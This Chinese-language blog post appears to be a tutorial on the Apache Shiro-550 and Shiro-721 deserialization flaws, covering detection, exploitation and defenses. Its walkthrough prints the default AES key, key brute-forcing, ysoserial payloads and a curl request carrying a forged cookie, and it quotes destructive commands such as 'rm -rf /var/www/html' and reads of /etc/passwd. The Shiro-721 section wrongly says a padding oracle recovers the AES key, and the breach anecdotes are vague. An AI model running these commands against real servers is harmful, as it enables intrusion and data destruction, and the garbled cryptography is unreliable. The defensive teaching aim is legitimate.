Apache Shiro 反序列化漏洞全解析(Shiro-550 & Shiro-721)

一、前言

Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。

本文将深入剖析 Shiro-550Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。


二、Shiro 反序列化漏洞概述

1. Shiro-550(CVE-2016-4437)漏洞原理

(1)漏洞影响范围
  • Apache Shiro <= 1.2.4

  • 默认使用 CookieRememberMeManager 处理 rememberMe Cookie

(2)漏洞原理

Shiro-550 存在于 rememberMe 机制的处理流程:

  • 用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。

  • 服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。

  • 问题:Shiro 默认使用的 AES 密钥是硬编码的!

    • 攻击者可以通过 爆破密钥 ,伪造一个恶意的 rememberMe Cookie,执行远程代码。

2. Shiro-721(CVE-2019-12422)漏洞原理

(1)漏洞影响范围
  • Apache Shiro < 1.4.2
(2)漏洞原理

Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击

  • 攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥

  • 拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。


三、漏洞发现与利用

1. 如何发现 Shiro 漏洞?

(1)观察 Set-Cookie****头部

如果 HTTP 响应中包含:

复制代码
Set-Cookie: rememberMe=deleteMe

说明目标网站使用了 Shiro,并可能存在漏洞。

(2)测试加密机制
  1. 复制 rememberMe Cookie。

  2. 修改 Cookie 内容,观察返回是否包含 deleteMe,验证加密是否有效。

2. Shiro-550 攻击实战

(1)爆破密钥

攻击者使用 shiro_attack.py 爆破默认密钥:

复制代码
python shiro_attack.py --target http://example.com --keylist shiro_keys.txt

如果成功,返回密钥:

复制代码
kPH+bIxk5D2deZiIxcaaaA==

使用 ysoserial 生成恶意 Payload:

复制代码
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt

然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe Cookie。

(3)发送攻击请求
复制代码
curl -X GET http://example.com -H "Cookie: rememberMe=<恶意cookie>"

成功后,服务器会执行 touch /tmp/hacked,证明被攻击成功。

3. Shiro-721 攻击实战

(1)Padding Oracle 攻击

攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥:

复制代码
python padding_oracle_attack.py --target http://example.com --cookie "rememberMe=xyz..."

如果服务器返回:

  • 500 错误 → 说明猜错了,继续试。

  • 200 OK → 说明密钥猜对了,成功解密!

复制代码
java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64

然后替换 rememberMe,发送攻击请求,服务器执行命令。


四、实战案例

1. 某知名 CMS 被黑

某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==,成功执行:

复制代码
rm -rf /var/www/html

结果:整个网站首页被删光!

2. 金融网站数据泄露

黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe,成功执行:

复制代码
cat /etc/passwd

结果:服务器所有用户信息被盗取!


五、防御措施

防御措施 适用漏洞 说明
升级 Shiro Shiro-550 / 721 升级到 1.4.2+ 版本,漏洞已修复
修改默认密钥 Shiro-550 避免使用 kPH+bIxk5D2deZiIxcaaaA==,随机生成新密钥
禁用不必要的反序列化功能 Shiro-550 / 721 使用 JSON 存储用户信息,而非 Java 序列化
检测 Padding Oracle 攻击 Shiro-721 监控异常 Cookie,请求不同错误返回码

六、总结

Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。

本篇文章从漏洞原理、发现方法到攻击演示 ,全面解析了 Shiro 反序列化漏洞,并提供了真实案例防御措施

如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀

相关推荐
石像鬼₧魂石13 小时前
内网渗透是网络安全渗透测试
安全·web安全
Neolnfra15 小时前
渗透测试标准化流程
开发语言·安全·web安全·http·网络安全·https·系统安全
WZTTMoon15 小时前
Apache Tomcat 体系结构深度解析
java·tomcat·apache
fiveym15 小时前
Apache HTTP 服务搭建全攻略
网络协议·http·apache
奋飞安全16 小时前
给你的Ida插上翅膀
安全·逆向
llxxyy卢16 小时前
逻辑越权之找回机制接口安全
安全
pusheng202517 小时前
普晟传感直播预告 |重塑安全边界:储能与AI数据中心的锂电风险、气体探测技术革新与可量化风险管控
人工智能·安全
云计算练习生17 小时前
渗透测试行业术语扫盲(第十六篇)—— 红蓝对抗与演练类
网络·安全·网络安全·信息安全·渗透测试术语
KKKlucifer17 小时前
数据湖赋能 SIEM:下一代安全运营的技术融合与实践
安全
一三检测冯野1802129181317 小时前
医疗产品运输安全:ISTA 3A标准应用
安全·模拟运输测试·包装运输测试·包装振动测试·ista3a